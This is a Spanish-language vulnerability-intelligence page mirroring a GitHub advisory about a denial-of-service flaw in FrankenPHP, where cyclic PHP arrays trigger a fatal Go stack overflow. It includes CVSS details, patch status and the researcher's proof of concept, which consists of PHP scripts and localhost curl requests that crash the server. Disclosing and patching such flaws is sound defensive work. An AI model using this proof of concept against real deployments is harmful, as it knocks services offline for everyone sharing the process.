llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/dunglas/frankenphp

GHSA-CCGP-CH9H-533F

Cyclic PHP arrays cause a process-wide stack overflow during PHP-to-Go conversion

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.9
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición31 dDesde la divulgación, 21 oct 2026, 1:29 p. m.
Detección29 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Tu backlog la recibirá con los brazos abiertos.Paso a paso, como subiendo al Cotopaxi.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.13.2
Monitoreo
Detectada +1
21 oct 26
19 nov 26
21 nov 26
21 oct 26
29 oct 26
6 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-CCGP-CH9H-533F divulgada · CVSS 5.9 (GitHub)
Remediación Parche v1.13.2 github.com/dunglas/frankenphp · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

FrankenPHP's PHP-to-Go array converter does not detect circular references. Passing a self-referential PHP array to `frankenphp_log()` or returning one from a worker callback causes unbounded recursion and a fatal Go stack overflow, terminating the entire FrankenPHP process. Unrelated requests fail until the server is restarted.

The crash is reproducible in v1.13.1. An application must create or propagate a cyclic array into one of these APIs for the issue to be triggered.

Details

In `types.go` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/types.go#L74-L171, `goArray()` converts each array element using `goValue()`. When the element is another PHP array, `goValue()` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/types.go#L273-L358 enters `GoAssociativeArray()` or `GoPackedArray()` and repeats the traversal. There is no check for arrays already visited on the current conversion path, nor a recursion-depth limit.

This is reachable from:

  • `go_log_attrs()` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/frankenphp.go#L850-L873, which calls `GoMap[any]()` on the context supplied to `frankenphp_log()`.
  • `go_frankenphp_finish_worker_request()` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/threadworker.go#L279-L289, which calls `GoValue[any]()` on a worker callback's return value.

For a cyclic array, the converter repeatedly enters the same Zend array until the Go runtime aborts:

runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

The stack trace repeatedly shows `goValue`, `goArray`, and `GoAssociativeArray` in `types.go`. This terminates the server process rather than raising a PHP exception or returning a conversion error.

Proof of concept

Tested with the official FrankenPHP v1.13.1 Linux x86_64 binary (PHP 8.5.11, Caddy 2.11.7), on Ubuntu 24.04. Release commit: `99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5`.

1. `frankenphp_log()`

Create `public/logging.php`:

<?php
$ctx = ['tag'=>'healthy'];
if (($_GET['case'] ?? '') === 'cyclic') {
    $ctx['self'] = &$ctx;
}
frankenphp_log('independent_recheck_log', 0, $ctx);
header('Content-Type: text/plain');
echo 'logger-ok';

Create an unrelated endpoint `public/health.php`:

<?php echo 'healthy';

Start FrankenPHP:

./frankenphp php-server -l 127.0.0.1:18882 -r "$PWD/public"

In another terminal:

curl -i http://127.0.0.1:18882/logging.php
curl -i http://127.0.0.1:18882/health.php
curl -v 'http://127.0.0.1:18882/logging.php?case=cyclic'
curl -v http://127.0.0.1:18882/health.php

Both control requests return HTTP 200. The cyclic-array request ends with an empty reply (`curl` exit 52). The FrankenPHP process exits with the stack overflow shown above, and the subsequent health request fails with `Connection refused` (`curl` exit 7).

2. Worker callback return value

Create `public/index.php`:

<?php
$handler = static function (): array {
    header('Content-Type: text/plain');
    echo 'independent-worker-handled';
    if (($_GET['trigger'] ?? '') === 'cycle') {
        $node = ['origin'=>'independent_worker'];
        $node['backref'] = &$node;
        return $node;
    }
    return ['status'=>'ok'];
};
while (frankenphp_handle_request($handler)) {}

Create `public/status.txt` containing `healthy` and start FrankenPHP in worker mode:

./frankenphp php-server -l 127.0.0.1:18885 -r "$PWD/public" -w "$PWD/public/index.php,1"

In another terminal:

curl -i http://127.0.0.1:18885/
curl -i http://127.0.0.1:18885/status.txt
curl -v 'http://127.0.0.1:18885/?trigger=cycle'
curl -v http://127.0.0.1:18885/status.txt

The normal worker request and static file return HTTP 200. Returning the cyclic array terminates the FrankenPHP process with the same fatal stack overflow. The subsequent request for the static file is refused.

Impact

This is a process-wide denial of service caused by uncontrolled recursion in PHP-to-Go conversion. It affects applications that pass cyclic PHP arrays to the logging context or return them from worker callbacks. A single occurrence terminates the process and interrupts all requests served by it, including unrelated sites or endpoints sharing that process.

Remote reachability depends on application behavior: ordinary HTTP parameters do not directly create PHP reference cycles. A remote attacker would need a reachable path that constructs or preserves such an array and passes it to an affected API. I have not established that path in an unmodified application. The demonstrated impact is availability loss; no confidentiality or integrity impact was observed.

The converter should detect recursive references (and preferably bound nesting depth) and return a recoverable error without terminating the server.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/dunglas/frankenphp≤ 1.13.1
1.13.1
v1.13.6
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/dunglas/frankenphp
Corregida v1.13.2 0 d v1.13.6 no afectada
Versiones corregidasv1.13.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/php/frankenphp/security/advisories/GHSA-ccgp-ch9h-533f

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.